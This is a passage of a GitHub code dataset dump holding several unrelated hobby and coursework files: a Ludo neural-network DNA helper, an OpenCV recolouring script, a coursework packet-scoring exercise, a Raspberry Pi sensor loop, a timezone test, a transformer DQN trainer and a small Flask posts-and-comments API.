noOutput]\r\n nxtIndex += noOutput\r\n\r\n if config.ENABLE_CHECKS:\r\n buildLength = len(wInput) + len(wBiasInput) + len(wOutput) + len(wBiasOutput)+ len(wHidden) + len(wBiasHidden)\r\n\r\n assert buildLength == len(DNA), \"DNA and build lengths are not equal\"\r\n\r\n return wInput, wBiasInput, wHidden, wBiasHidden, wOutput, wBiasOutput\r\n\r\n def mutateDNA(self, DNA):\r\n mutations = math.floor(len(DNA) * self.mutationRate)\r\n for i in range(0, mutations):\r\n randId = random.randrange(0,len(DNA))\r\n DNA[randId] = random.random()\r\n return DNA\r\n\r\n def combineDNA(self, DNA1, DNA2):\r\n newDNA = []\r\n for i in range(0, len(DNA1), 10):\r\n if random.random() < 0.5:\r\n newDNA.extend(DNA1[i:i+10])\r\n else:\r\n newDNA.extend(DNA2[i:i+10])\r\n assert len(newDNA) == len(DNA1), \"New DNA constructed wrong\"\r\n return newDNA\r\n\r\n def getDNA(self, NN):\r\n wInput = NN.getInputWeights()\r\n wBiasInput = NN.getInputBiasWeights()\r\n wHidden = NN.getHiddenWeights()\r\n wBiasHidden = NN.getHiddenBiasWeights()\r\n wOutput = NN.getOutputWeights()\r\n wBiasOutput = NN.getOutputBiasWeights()\r\n return wInput + wBiasInput + wHidden + wBiasHidden + wOutput + wBiasOutput\r\n\r\n\r\ndef toStr(DNA):\r\n dnaStr = \"\\n\".join([str(elem) for elem in DNA], )\r\n return dnaStr\r\n\r\ndef fromStr(dnaStr):\r\n reader = csv.reader(dnaStr, delimiter='\\n')\r\n DNA = []\r\n for row in reader:\r\n DNA.append(row[0][0])\r\n return DNA\r\n","repo_name":"jaoff15/LudoGame","sub_path":"Ludo32bitVersion/NeuralNetwork/DNA.py","file_name":"DNA.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74654524388","text":"import cv2 as cv\n\nimport numpy as np\n\nimg = cv.imread('imagenes/cuadrado.jpg', 1)\n\nimg[np.where((img == [0, 0, 0]).all(axis = 2))] = [0, 255, 0]\n\ncv.imshow('lero', img)\n\ncv.imwrite('imagenes/cuadrado_a_verde.jpg', img)\n\ncv.waitKey(0)\n","repo_name":"litomi/Diplomatura_machine_learning_python_UTN_SR","sub_path":"TP3 - Diplomatura/TP3_Ejer2.py","file_name":"TP3_Ejer2.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"39640670513","text":"###################################################\n###################################################\n## Group Information: ##\n## ##\n## Members: ##\n## ##\n## Jordan Campbell - 620155675 ##\n## ##\n## Kyval Waysome - 620155137 ##\n## ##\n###################################################\n###################################################\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#number 1\n\ndef makePacket(srcIP, dstIP, length, prt, sp, dp, sqn, pld): #Constructor - creates the packet that has a tag and the packet details\n return (\"PK\", srcIP, dstIP, [length, prt, [sp, dp], sqn, pld])\n \ndef getPacketSrc(pkt): #Selector - collects the source IP address\n if isPacket(pkt):\n return pkt[1]\n else:\n raise TypeError('Object is not a Packet')\n\ndef getPacketDst(pkt): #Selector - collects the destination IP address\n if isPacket(pkt):\n return pkt[2]\n else:\n raise TypeError('Object is not a Packet')\n\ndef getPacketDetails(pkt): #Selector - collects te packet details\n if isPacket(pkt):\n return pkt[3]\n else:\n raise TypeError('Object is not a Packet')\n\ndef isPacket(pkt): #Predicate - checks if the object is a packet \n return type(pkt) == tuple and len(pkt) == 4 and pkt[0] == 'PK' and type(pkt[3]) == list and len(pkt[3]) == 5 \n\ndef isEmptyPkt(pkt): #Predicate - checks if the object is an empty packet\n if isPacket(pkt):\n return pkt[3] == []\n else:\n raise TypeError('Object is not a Packet')\n\n#number 2\n\ndef getLength(pkt):#Selector - collects the length of the packet in bytes\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[0]\n\ndef getProtocol(pkt): #Selector - collects the protocol used\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[1]\n\ndef getSrcPort(pkt): #Selector - collects the source port\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[2][0]\n\ndef getDstPort(pkt): #Selector - collects the destination port\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[2][1]\n\ndef getSqn(pkt): #Selector - collects the sequence number\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[3]\n\ndef getPayloadSize(pkt): #Selector - collects the size of the payload in bytes\n \n if isPacket(pkt):\n return getPacketDetails(pkt)[4]\n\n\n#Number 3\n \n\ndef flowAverage(pkt_list): #produces a list of packets that have above average payload sizes\n \n sum1 = 0\n len1 = 0 \n \n for packet in pkt_list:\n sum1 += getPayloadSize(packet) #adding sum of payload size of each packet\n \n len1 = len(pkt_list) #length of packet list\n\n \n avgcheck = sum1/len1 #average payload size of all the packets in the list\n\n lst = []\n \n for packet in pkt_list:\n if getPayloadSize(packet) > avgcheck:\n lst.append(packet)\n return lst\n \n\ndef suspPort(pkt): # Predicate - returns a boolean depending on if the source or destination port is more than 500\n \n return getSrcPort(pkt) > 500 or getDstPort(pkt) > 500\n\n\ndef suspProto(pkt): #Predicate - returns a boolean depending on if the packet is in protocolList\n \n return getProtocol(pkt) not in ProtocolList \n\ndef ipBlacklist(pkt): #Predicate - returns a boolean depending on if the packet is in IpBlackList\n \n return getPacketSrc(pkt) in IpBlackList\n\n#number 4\ndef calScore(pkt): #calculates the score for a particular pakcet depending on certain suspicion parameters\n \n \n p_lst = []\n \n for packet in packet_List: #from the given pack list, checks if it follows the defined packet structure and modifies it accordingly\n if isPacket(packet):\n p_lst.append(packet)\n else:\n p_lst.append(makePacket(packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]))\n \n lstpayload = list(map(getPayloadSize, p_lst)) \n\n \n sum = 0\n \n for a in lstpayload:\n sum += a\n \n avg = sum/len(p_lst)\n \n \n print('this is pkt', pkt)\n \n \n count = 0\n \n if getPayloadSize(pkt) > avg:\n count += 3.56\n if suspProto(pkt):\n count += 2.74\n if suspPort(pkt):\n count += 1.45\n if ipBlacklist(pkt):\n count += 10.00\n \n return round(count,2) \n \n \ndef makeScore(pkt_list): #Constructor - creates a score structure with a list of packets in its contents\n \n lst = []\n \n for packet in pkt_list:\n lst.append((packet, calScore(packet)))\n \n return ['SCORE', lst]\n\n\ndef addPacket(ScoreList, pkt): #Mutator - adds a packet to the score structure \n if isScore(ScoreList):\n ScoreList[1].append((pkt, calScore(pkt)))\n else:\n raise TypeError('Object is not a Score')\n\ndef getSuspPkts(ScoreList): #Selector - collects the suspicious packets from the score structure\n \n lst = []\n\n for score in ScoreList[1]:\n if score[1] > 5.00:\n lst.append(score[0])\n \n return lst\n\ndef getRegulPkts(ScoreList): #Selector - collects the regular packets from the score structure\n \n \n lst = []\n \n for score in ScoreList[1]: \n if score[0] not in getSuspPkts(ScoreList):\n lst.append(score[0])\n\n return lst\n \ndef isScore(ScoreList): #Predicate - checks if the object is a score\n return type(ScoreList) == list and ScoreList[0] == 'SCORE' and type(ScoreList[1]) == list\n \ndef isEmptyScore(ScoreList): #Predicate - checks if the object is an empty score\n if isScore(ScoreList):\n return ScoreList[1] == []\n else:\n raise TypeError('Object is not a Score')\n\n#number 5\ndef makePacketQueue(): #Constructor - creates the packet queue structure\n return (\"PQ\", [])\n \n\ndef contentsQ(q): #Selector - collects the contents of the queue\n if isPacketQ(q):\n return q[1]\n else:\n raise TypeError('Object is not a queue') \n\ndef frontPacketQ(q):#Selector - collects the front elements in the packet queue\n if isPacketQ(q):\n return q[0]\n else:\n raise TypeError('Object is not a queue')\n\ndef addToPacketQ(pkt,q): #Mutator - adds a packet to the packet queue\n if isPacketQ(q):\n contentsQ(q).insert(get_pos(pkt, contentsQ(q)) , pkt)\n else:\n raise TypeError('Object is not a queue')\n\ndef get_pos(pkt,lst): #returns a numerical position that produces a list of packets ordered from lowest to highest sequence number\n if lst == []:\n return 0\n elif getSqn(pkt) < getSqn(lst[0]):\n return 0 \n else:\n return 1 + get_pos(pkt,lst[1:])\n \ndef removeFromPacketQ(q): #Mutator - removes a packet from the packet queue\n if isPacketQ(q):\n contentsQ(q).pop(0) \n else: \n raise TypeError('Object is not a queue') \n \ndef isPacketQ(q): #Predicate - checks if the object is a packet queue\n return type(q) == tuple and len(q) == 2 and q[0] == 'PQ' and type(q[1]) == list \n \n\ndef isEmptPacketQ(q): #Predicate - checks if the object is a empty packet queue\n return contentsQ(q) == [] \n\n#number 6\n \ndef makePacketStack(): #Constructor - creates a packet stack\n return ('PS', [])\n\ndef contentsStack(stk): #Selector - collects the contents of the packet stack\n if isPKstack(stk):\n return stk[1]\n else:\n raise TypeError('Object is not a stack')\n \ndef topProjectStack(stk): #Selector - collects the element at the top of the packet stack\n if isPKstack(stk): \n return contentsStack(stk)[-1]\n else:\n raise TypeError('Object is not a stack')\n \n\ndef pushProjectStack(pkt,stk): #Mutator - adds a packet to the packet stack\n if isPKstack(stk): \n contentsStack(stk).append(pkt)\n else:\n raise TypeError('Object is not a stack')\n\ndef popPickupStack(stk): #Mutator - removes a pakcet from the packet stack\n if isPKstack(stk):\n contentsStack(stk).pop()\n else: \n raise TypeError('Object is not a stack')\n \n\ndef isPKstack(stk): #Predicate - checks if the onject is a packet stack\n return type(stk) == tuple and stk[0] == 'PS' and type(stk[1]) == list\n \n\ndef isEmptyPKStack(stk): #Predicate - checks if the object is an empty stack\n return contentsStack(stk) == []\n\n#number 7\ndef sortPackets(scoreList,stack,queue): #places a packet into either a stack or queue structure depending on its respective score\n \n for score in scoreList[1]:\n if score[1] > 5:\n pushProjectStack(score[0],stack)\n else:\n addToPacketQ(score[0], queue)\n\n#number 8\n \ndef analysePackets(packet_List): #returns a queue than contains regular packets from a given list of packets \n pkt_lst = []\n \n for packet in packet_List: #converts the packets in the given list into a list of packets that follow the pakcet ADT\n pkt_lst.append(makePacket(packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]))\n \n \n scorelist = makeScore(pkt_lst) #create score ADT\n \n q = makePacketQueue() #create Queue ADT\n \n stk = makePacketStack() #create Stack ADT\n \n sortPackets(scorelist, stk, q) \n \n \n return q\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n \n srcIP = str(first_multiple_input[0])\n dstIP = str(first_multiple_input[1])\n length = int(first_multiple_input[2])\n prt = str(first_multiple_input[3])\n sp = int(first_multiple_input[4])\n dp = int(first_multiple_input[5])\n sqn = int(first_multiple_input[6])\n pld = int(first_multiple_input[7])\n \n ProtocolList = [\"HTTPS\",\"SMTP\",\"UDP\",\"TCP\",\"DHCP\",\"IRC\"]\n \n IpBlackList = []\n \n packet_List = [(srcIP, dstIP, length, prt, sp, dp, sqn, pld),\n (\"111.202.230.44\",\"62.82.29.190\",31,\"HTTP\",80,20,1562436,338), \n (\"222.57.155.164\",\"50.168.160.19\",22,\"UDP\",790,5431,1662435,812), \n (\"333.230.18.207\",\"213.217.236.184\",56,\"IMCP\",501,5643,1762434,3138), \n (\"444.221.232.94\",\"50.168.160.19\",1003,\"TCP\",4657,4875,1962433,428), \n (\"555.221.232.94\",\"50.168.160.19\",236,\"HTTP\",7753,5724,2062432,48)]\n \n fptr.write('Forward Packets => ' + str(analysePackets(packet_List)) + '\\n')\n \n fptr.close()\n","repo_name":"KyvalWaysome/UWI-COMP1127-Projects","sub_path":"COMP1127_5675_5137.py","file_name":"COMP1127_5675_5137.py","file_ext":"py","file_size_in_byte":10537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12585820481","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setup(22, GPIO.OUT)\nGPIO.setup(12, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nGPIO.output(22, 1)\n\n\ntry:\n while True:\n pin_read = GPIO.input(12)\n print(\"Currently {}\".format(\"light\" if pin_read else \"dark\"))\n time.sleep(0.01)\nexcept KeyboardInterrupt:\n print(\"Exiting cleanly\")\nfinally:\n GPIO.cleanup()\n","repo_name":"tghartland/rpi_muons","sub_path":"pi_code/test/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4973354598","text":"import pytz\nimport datetime as dt\nfrom time import sleep\n\ndef berlin_now():\n berlin_tz = pytz.timezone(\"Europe/Berlin\")\n utc_now = pytz.utc.localize(dt.datetime.utcnow())\n berlin_now = utc_now.astimezone(berlin_tz)\n return berlin_now\n\n#31.03.2019 um 2:00 Uhr. Die Uhr wird dann um 1 Stunde vorgestellt\nberlin_tz = pytz.timezone(\"Europe/Berlin\")\numstellung = berlin_tz.localize(dt.datetime(year=2019, day=31, month=3, hour=2, second=0))\n\ntime_str = \"%d.%m.%Y, %H:%M:%S\"\n# main\nstart = umstellung - dt.timedelta(seconds=5)\nnow = start.astimezone(pytz.utc)\nfor i in range(10):\n print(now.astimezone(berlin_tz).strftime(time_str))\n now = now + dt.timedelta(seconds=1)\n sleep(1)\n","repo_name":"mfux/qPusher","sub_path":"src/qPusher/tz_test.py","file_name":"tz_test.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"33558260311","text":"# this file has code from pytorch tutorial and thus uses a DQN system\n# https://pytorch.org/tutorials/intermediate/reinforcement_q_learning.html\n\nimport gym\nimport json\nimport math\nimport torch\nimport torch\nimport numpy as np\nfrom torch import nn\nimport torch.nn.functional as F\nfrom types import SimpleNamespace\nfrom collections import namedtuple\nfrom argparse import ArgumentParser\nfrom transformers.models.gpt2.modeling_gpt2 import Block, GPT2Config\nfrom tqdm import trange\nimport matplotlib.pyplot as plt\n\nfrom PIL import Image\nfrom torchvision import transforms as T\n\n_randn = lambda *args: np.random.randn(*args)\n_random = lambda: np.random.random()\n\nresize = T.Compose([\n T.ToPILImage(),\n T.Resize((40, 40), interpolation=Image.CUBIC),\n T.ToTensor()\n])\n\n \nclass Transformer(nn.Module):\n def __init__(self, config: GPT2Config):\n super().__init__()\n self.config = config\n \n pos_emb = torch.empty(config.n_ctx, config.n_embd)\n pos_emb.normal_(0, 1 / (config.n_embd ** 2))\n self.pos_emb = nn.Parameter(pos_emb)\n\n self.lin = nn.Linear(config.observation_space, config.n_embd)\n self.h = nn.ModuleList([\n Block(config.n_ctx, config) for _ in range(config.n_layer)\n ])\n self.ln_f = nn.LayerNorm(config.n_embd)\n self.head = nn.Linear(config.n_embd, config.action_space)\n \n @property\n def _num_params(self):\n return sum(p.numel() for p in self.parameters())\n \n def expand_attn_mask(self, attn, batch_size, dtype):\n attn = attn.view(batch_size, -1)\n # We create a 3D attention mask from a 2D tensor mask.\n # Sizes are [batch_size, 1, 1, to_seq_length]\n # So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length]\n # this attention mask is more simple than the triangular masking of causal attention\n # used in OpenAI GPT, we just need to prepare the broadcast dimension here.\n attn = attn[:, None, None, :]\n\n # Since attention_mask is 1.0 for positions we want to attend and 0.0 for\n # masked positions, this operation will create a tensor which is 0.0 for\n # positions we want to attend and -10000.0 for masked positions.\n # Since we are adding it to the raw scores before the softmax, this is\n # effectively the same as removing these entirely.\n attn = attn.to(dtype=dtype) # fp16 compatibility\n attn = (1.0 - attn) * -10000.0\n return attn\n\n def forward(self, x, attn = None):\n B, N, C = x.shape\n hidden_states = self.lin(x) + self.pos_emb[:N]\n if attn != None:\n attn = self.expand_attn_mask(attn, B, hidden_states.dtype)\n for h in self.h:\n out = h(hidden_states, attention_mask = attn)\n hidden_states= out[0]\n hidden_states = self.ln_f(hidden_states)\n logits = self.head(hidden_states)\n return logits\n\n\nclass ReplayBuffer:\n def __init__(self, size):\n self.size = size\n self.memory = []\n self.mem_size = 0\n self.obs_space = env.observation_space.shape[0]\n \n def push(self, states, actions, rewards):\n self.memory.append(Transition(states, actions, rewards))\n if len(self.memory) > self.size:\n del self.memory[len(self.memory) - self.size]\n self.mem_size = len(self.memory)\n \n def sample(self, batch_size):\n idx = np.random.choice(np.arange(self.mem_size), batch_size, replace = False)\n return [self.memory[i] for i in idx]\n \n def __len__(self):\n return len(self.memory)\n \n def padded_sample(self, batch_size):\n \"\"\"randomly samples batch_size games and pads for sending to the transformer\"\"\"\n samples = self.sample(batch_size)\n maxlen = max([len(x.states) for x in samples])\n states, actions, rewards, sizes = [], [], [], []\n for i in range(len(samples)):\n sample_size = len(samples[i].states)\n sizes.append(sample_size)\n to_add = maxlen - sample_size\n if not to_add:\n # simply add what is already present\n states.append(samples[i].states)\n actions.append(samples[i].actions)\n rewards.append(samples[i].rewards)\n continue\n\n states.append(samples[i].states + \\\n [[0 for _ in range(self.obs_space)] for _ in range(to_add)]\n ) # pad states\n actions.append(samples[i].actions + [0 for _ in range(to_add)]) # pad actions\n rewards.append(samples[i].rewards + [0 for _ in range(to_add)]) # pad rewards\n\n # ensure sequences are of same length\n states = [x[:model_config.n_ctx] for x in states]\n actions = [x[:model_config.n_ctx] for x in actions]\n rewards = [x[:model_config.n_ctx] for x in rewards]\n \n # convert to tensors\n states = torch.Tensor(states).float()\n actions = torch.Tensor(actions).float()\n \n rewards = torch.Tensor(rewards).float()\n \n # make attention masks from sizes\n attn = torch.zeros_like(rewards)\n for i, s in enumerate(sizes):\n attn[i, :s+1] = 1\n attn = attn.long().view(batch_size, -1)\n \n return {\"states\": states, \"actions\": actions, \"rewards\": rewards, \"attn\": attn}\n\n\n\nclass Trainer:\n def __init__(self, env, policy_net, target_net, trainer_config):\n self.env = env\n self.policy_net = policy_net\n self.target_net = target_net\n self.trainer_config = trainer_config\n \n self.buffer = ReplayBuffer(trainer_config.buffer_size)\n self.optim = torch.optim.Adam(\n params = self.policy_net.parameters(),\n lr = trainer_config.lr,\n weight_decay = trainer_config.weight_decay\n )\n \n self.gs = 0 # global step\n \n self.rewards_over_sessions = []\n self.losses_over_sessions = []\n \n self.max_mnr = -1\n \n def get_eps(self, x):\n config = self.trainer_config\n c = (config.eps_start-config.eps_end) * math.exp(-max(x, 1)/config.eps_decay)\n return trainer_config.eps_end + c\n \n def get_action(self, states):\n model_config = self.policy_net.config\n n_actions = model_config.action_space\n eps = self.get_eps(self.gs)\n if _random() > eps:\n with torch.no_grad():\n states = torch.Tensor(states).unsqueeze(0).to(device)[:, :model_config.n_ctx]\n attn = None # since this is just one game full attention is fine too\n out_logits = self.policy_net(x = states, attn = attn)\n action = out_logits[:, -1].argmax(-1).item()\n else:\n action = np.random.randint(n_actions)\n return action\n\n def norm_obs_minus1_to_1(self, obs):\n obs = obs - 122.5\n obs = obs / 122.5\n return obs\n\n def play_one_game(self):\n states = []\n actions = []\n rewards = []\n\n obs = self.env.reset()\n states.append(self.norm_obs_minus1_to_1(obs).tolist())\n for t in range(self.trainer_config.maxlen):\n if len(states) > self.policy_net.config.n_ctx:\n # just don't allow processing long games\n break\n action = self.get_action(states)\n obs, rew, done, info = env.step(action)\n \n # append and store actions + rewards check states below\n actions.append(action)\n rewards.append(rew)\n if done:\n break\n\n # the reason we dont' append state if the game is done is because\n # there is no point to include the last state also\n states.append(self.norm_obs_minus1_to_1(obs).tolist())\n\n return states, actions, rewards\n \n def optimize_model(self):\n if len(self.buffer) < self.trainer_config.batch_size:\n return\n \n batch = self.buffer.padded_sample(self.trainer_config.batch_size)\n\n B, N = batch[\"rewards\"].shape\n \n # We define mask for not-final states i.e. where attn_mask == 1\n # similar the state_action_values and next_state_values we need to have different copies\n # of the attention mask \n non_final_mask = (batch[\"attn\"] == 1).view(-1, 1)\n \n # compute Q(s_t, a)- the model computes Q(s_t), then we select the columns\n # of actions taken, These are the actions which would've been taken for\n # each batch state according to policy_net i.e. for all the batches, for all the\n # steps in those batches select indices against the action taken by the policy\n # network\n all_action_values = self.policy_net(x = batch[\"states\"].to(device), attn = batch[\"attn\"].to(device)).cpu() # [B, N, A]\n state_action_values = all_action_values.gather(-1, batch[\"actions\"].unsqueeze(-1).long())\n state_action_values = state_action_values.contiguous().view(-1, 1) # [B * N, 1]\n state_action_values = state_action_values[non_final_mask]\n \n # now compute V(s_{t+1}) for all the next states.\n # expected values of actions are calculated using the \"older\" target network\n # selecting their best reward with with max(1)[0] ie. the action that had the highest\n # value.\n with torch.no_grad():\n next_state_values = self.target_net(x = batch[\"states\"].to(device), attn = batch[\"attn\"].to(device))[:, 1:].cpu() # [B, N-1, A]\n next_state_values = next_state_values.max(-1)[0] # [B, N-1, 1]\n \n # now there is a weird caveat that since the next state values are from the future states we\n # select values with the shifted index ie. [:, 1:], this would mean that it will have B less\n # values, thus we say that the last values are 0\n next_state_values = torch.cat([next_state_values, torch.zeros(B, 1)], dim = -1) # [B, N, 1]\n next_state_values = next_state_values.contiguous().view(-1, 1)[non_final_mask]\n\n # perform shape check\n assert next_state_values.size() == state_action_values.size()\n\n # flatten the rewards and calculate expected rewards\n rewards = batch[\"rewards\"].view(-1, 1)[non_final_mask]\n expected_state_action_values = (next_state_values * self.trainer_config.gamma) + rewards\n\n # define loss\n loss = F.smooth_l1_loss(state_action_values, expected_state_action_values)\n \n # optimize the model\n self.optim.zero_grad()\n loss.backward()\n torch.nn.utils.clip_grad_norm_(self.policy_net.parameters(), 1.)\n self.optim.step()\n \n return loss\n\n\n def run(self):\n pbar = trange(self.trainer_config.n_epochs)\n \n for i in pbar:\n mnr = 0\n ml = 0\n if self.rewards_over_sessions:\n mnr = np.mean(self.rewards_over_sessions[-1])\n ml = np.mean(self.losses_over_sessions[-1])\n \n # play a few games\n this_rewards = []\n for _ep in range(self.trainer_config.n_gather_steps):\n pbar.set_description(f\"Epoch: {i} | {self.gs} | {ml:.3f} | {mnr:.3f} | playing games: {_ep}/{self.trainer_config.n_gather_steps}\")\n states, actions, rewards = self.play_one_game()\n self.buffer.push(states, actions, rewards)\n this_rewards.append(np.sum(rewards))\n self.gs += 1\n self.rewards_over_sessions.append(this_rewards)\n\n # train for a few turns\n this_loss = []\n for _ep in range(self.trainer_config.n_train_loops):\n pbar.set_description(f\"Epoch: {i} | {self.gs} | {ml:.3f} | {mnr:.3f} | training policy network: {_ep}/{self.trainer_config.n_train_loops}\")\n _loss = self.optimize_model()\n this_loss.append(_loss.item())\n self.losses_over_sessions.append(this_loss)\n \n if i and i%self.trainer_config.update_trainer == 0:\n self.target_net.load_state_dict(self.policy_net.state_dict())\n \n \n if i>0 and mnr > self.max_mnr:\n self.max_mnr = mnr\n path = f\"./models/target_net_{self.max_mnr}_{self.gs}_{i}.pt\"\n print(\"Saving Network at\", path)\n torch.save(self.target_net.state_dict(), path)\n\n\nif __name__ == \"__main__\":\n\n args = ArgumentParser(description=\"train DQN network using a Transformer\")\n args.add_argument(\"--name\", type = str, required=True, help = \"Exact name of the OpenAI gym env.\")\n args = args.parse_args()\n\n ENV_NAME = args.name\n\n env = gym.make(ENV_NAME)\n screens = []\n observation = env.reset()\n for i_episode in range(1, 10, 4):\n # screens.append(resize(env.render(mode = \"rgb_array\")))\n action = env.action_space.sample()\n observation, reward, done, info = env.step(action)\n print(observation.round(2), \"\\t\", round(reward, 2), \"\\t\", action)\n\n model_config = GPT2Config(\n n_positions=200,\n n_ctx=200,\n n_embd=32,\n n_layer=10,\n n_head=2,\n observation_space = env.observation_space.shape[0],\n action_space = env.action_space.n\n )\n\n device = \"cpu\"\n if torch.cuda.is_available():\n device = torch.device(\"cuda:0\")\n print(\"----> device:\", device)\n\n Transition = namedtuple(\"Transition\", ('states', 'actions', 'rewards'))\n\n # laod models\n policy_net = Transformer(model_config).to(device)\n target_net = Transformer(model_config).to(device)\n target_net.load_state_dict(policy_net.state_dict())\n target_net.eval()\n print(\"Loaded\", policy_net._num_params)\n\n # We need a good strategy for training and scheduling.\n # \n # * `buffer_size` = 100_00 ie.in order to fill this we need to run 100_100 simulations.\n # If during gathering stage we gather 256 games, in order to fill the buffer you would\n # need to run 390 epochs.\n # \n # * If you have a batch size of 256 and you train for 4 cycles, you train 1024 samples,\n # if you want new samples all the time then you would need to gather from 1024 games\n # every epoch which would take 97 epochs.\n # \n # * epsilon decay of 6400 would mean we would reduce exploration in just ~6 epochs, which\n # is too less compared to the 1000 epochs we are running. In that duration it would\n # not have learned the basics and so want to it to make mistakes longer. [changing value\n # to 100 epochs => 100 x 526 == 52600]\n # \n \n trainer_config = SimpleNamespace(\n batch_size = 128,\n gamma = 0.999,\n eps_start = 0.9,\n eps_end = 0.05,\n eps_decay = 25000,\n update_trainer = 4, # update the target network every these epochs\n buffer_size = 50_000, # training buffer size\n n_epochs = 200, # number of loops to run\n n_gather_steps = 1024, # number of steps to gather the data\n n_train_loops = 16, # number of steps to train on random samples from buffer\n maxlen = model_config.n_ctx, # maximum length of game sequence is what is allowed by the model\n lr = 0.001,\n weight_decay = 0.0001,\n save_every = 20\n )\n\n # Note that at the starting the iterations would be very fast, because\n # we are simpy filling the buffer. The epsilon is very high and thus most\n # of the actions are from CPU\n\n trainer = Trainer(env, policy_net, target_net, trainer_config)\n try:\n trainer.run()\n except KeyboardInterrupt:\n path = f\"./models/target_net_{ENV_NAME}_{trainer.gs}_final.pt\"\n print(\"Saving Network at\", path) \n torch.save(trainer.target_net.state_dict(), path)\n\n print(\"Saving losses and rewards\")\n with open(path.replace(\".pt\", \".json\"), \"w\") as f:\n f.write(json.dumps({\n \"rewards\": trainer.rewards_over_sessions,\n \"losses\": trainer.losses_over_sessions\n }))\n\n print(f\"Max mean reward over previous {trainer_config.n_train_loops}: {trainer.max_mnr}\")\n print(\"Exiting!\")\n","repo_name":"yashbonde/Transformer-RL","sub_path":"run_dqn.py","file_name":"run_dqn.py","file_ext":"py","file_size_in_byte":14880,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"71"} +{"seq_id":"74236624868","text":"import json\n\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import request\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef hello_world():\n return \"Hello world!\"\n\n\n# your routes here\n\nposts = {\n 0: {\n \"id\": 0,\n \"upvotes\": 1,\n \"title\": \"My cat is the cutest!\",\n \"link\": \"https://i.imgur.com/jseZqNK.jpg\",\n \"username\": \"alicia98\"\n },\n 1: {\n \"id\": 1,\n \"upvotes\": 3,\n \"title\": \"Cat loaf\",\n \"link\": \"https://i.imgur.com/TJ46wX4.jpg\",\n \"username\": \"alicia98\"\n }\n}\n\npost_id_counter = 2\n\n@app.route(\"/api/posts/\")\ndef get_posts():\n \"\"\"\n Gets all posts.\n \"\"\"\n res = {\"posts\": list(posts.values())}\n return json.dumps(res), 200\n\n@app.route(\"/api/posts/\", methods=[\"POST\"])\ndef create_post():\n \"\"\"\n Creates new post.\n \"\"\"\n global post_id_counter\n body = json.loads(request.data)\n title = body.get(\"title\")\n link = body.get(\"link\")\n username = body.get(\"username\")\n if title is None:\n return json.dumps({\"error\": \"Input title!\"}), 400\n if link is None:\n return json.dumps({\"error\": \"Input link!\"}), 400\n if username is None:\n return json.dumps({\"error\": \"Input username!\"}), 400\n post = {\n \"id\": post_id_counter,\n \"upvotes\": 1,\n \"title\": title,\n \"link\": link,\n \"username\": username\n }\n posts[post_id_counter] = post\n comments[post_id_counter] = []\n post_id_counter += 1\n return json.dumps(post), 201\n\n@app.route(\"/api/posts/<int:post_id>/\")\ndef get_post(post_id):\n \"\"\"\n Gets specific post by post ID.\n \"\"\"\n post = posts.get(post_id)\n if post is None:\n return json.dumps({\"error\": \"Post Not Found!\"}), 404\n return json.dumps(post), 200\n\n@app.route(\"/api/posts/<int:post_id>/\", methods=[\"DELETE\"])\ndef delete_post(post_id):\n \"\"\"\n Deletes specific post by post ID.\n \"\"\"\n post = posts.get(post_id)\n if post is None:\n return json.dumps({\"error\": \"Post Not Found!\"}), 404\n del posts[post_id]\n return json.dumps(post), 200\n\ncomments = {\n 0:[{\n \"id\": 0,\n \"upvotes\": 8,\n \"text\": \"Wow, my first Reddit Gold!\",\n \"username\": \"alicia98\"\n }],\n}\n\ncomment_id_counter = 1\n\n@app.route(\"/api/posts/<int:post_id>/comments/\")\ndef get_comments(post_id):\n \"\"\"\n Gets all comments on a specific post.\n \"\"\"\n post = posts.get(post_id)\n if post is None:\n return json.dumps({\"error\": \"Post Not Found!\"}), 404\n comment = comments[post_id]\n res = {\"comments\": comment}\n return json.dumps(res), 200\n\n@app.route(\"/api/posts/<int:post_id>/comments/\", methods=[\"POST\"])\ndef post_comment(post_id):\n \"\"\"\n Posts a new comment on a specific post.\n \"\"\"\n post = posts.get(post_id)\n if post is None:\n return json.dumps({\"error\": \"Post Not Found!\"}), 404\n global comment_id_counter\n body = json.loads(request.data)\n text = body.get(\"text\")\n username = body.get(\"username\")\n if text is None:\n return json.dumps({\"error\": \"Input text!\"}), 400\n if username is None:\n return json.dumps({\"error\": \"Input username!\"}), 400\n comment = {\n \"id\": comment_id_counter,\n \"upvotes\": 1,\n \"text\": text,\n \"username\": username,\n }\n comments[post_id].append(comment)\n comment_id_counter += 1\n return json.dumps(comment), 201\n\n@app.route(\"/api/posts/<int:post_id>/comments/<int:comment_id>/\", methods=[\"POST\"])\ndef edit_comment(post_id,comment_id):\n \"\"\"\n Edits existing comment on a specific post\n \"\"\"\n post = posts.get(post_id)\n if post is None:\n return json.dumps({\"error\": \"Post Not Found!\"}), 404\n if comment_id >= comment_id_counter:\n return json.dumps({\"error\": \"Comment Not Found!\"}), 404\n body = json.loads(request.data)\n text = body.get(\"text\")\n if text is None:\n return json.dumps({\"error\": \"Input 